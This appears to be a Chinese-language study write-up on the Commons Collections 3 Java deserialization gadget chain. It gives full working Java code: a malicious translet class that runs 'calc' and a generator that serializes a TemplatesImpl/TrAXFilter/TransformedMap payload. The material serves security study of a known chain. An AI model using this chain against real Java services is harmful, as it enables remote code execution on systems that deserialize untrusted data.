Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
CC3采用了类的动态加载机制实现执行任意代码,类的动态加载大致原理为使用ClassLoader#loadClass从已加载的类缓存、父加载器等位置寻找类,如果没找到会调用findClass(),findClass()会根据名字或者位置加载字节码然后调用defineClass(),defineClass()会将传递的字节码转换为Java类。
直接定位到ClassLoader#defineClass,作用域为protected,我们需要一个public的
找了一下哪里调用了这个方法
再往上找找,这个没标注作用域,默认是同一个包里才可以调用
找到了defineTransletClasses方法调用了,但是这个方法是私有的
继续往上找,getTransletInstance方法调用了defineTransletClasses,但是他还是私有的。这个方法还调用了newInstance方法,可以实例化对象,走到这边就可以运行自定义类的静态方法
找到newTransformer方法,并且是一个公开的方法
尝试调用newTransformer进行动态类加载,发现一些限制条件,_name需要不为null,
bytecodes值需要不为null,tfactory需要赋值
通过反射分别给这三个参数赋值并尝试调用
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3_Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
在bytecode目录放一个恶意的class,因为利用过程中会验证传进去的class是否继承了ABSTRACT_TRANSLET引用的类,所以恶意的class要继承AbstractTranslet
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
运行发现成功执行了恶意class
发现ysoserial的CC3还用到了一个InstantiateTransformer类,这个类的transform方法满足条件后,会获取一个类的构造函数,然后使用这个构造函数创建一个新的对象实例
然后我们找到TrAXFilter的构造函数调用了newTransformer方法
如果传递一个TemplatesImpl,他就回去调用TemplatesImpl的newTransformer函数
现在使用InstantiateTransformer类的transform方法,传递参数TrAXFilter类,它会去获取TrAXFilter的构造方法并执行
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3_Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
后面把CC1的代码拿过来,InvokerTransformer换成instantiateTransformer,new
ConstantTransformer(Runtime.class)参数换成TrAXFilter.class
完整代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3_Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
HashMap<Object,Object> map = new HashMap();
map.put("value","value");
Map<Object,Object> transformap = TransformedMap.decorate(map, null, chainedTransformer);
Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformap);
serialize(o);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}
利用链
AnnotationInvocationHandler#readObject –> AbstractInputCheckedMapDecorator.MapEntry#setValue –> TransformedMap#checkSetValue –> ChainedTransformer#transform –> InstantiateTransformer.transform –> TrAXFilter.TrAXFilter –>Transformer.newTransformer() –> defineClass->newInstance














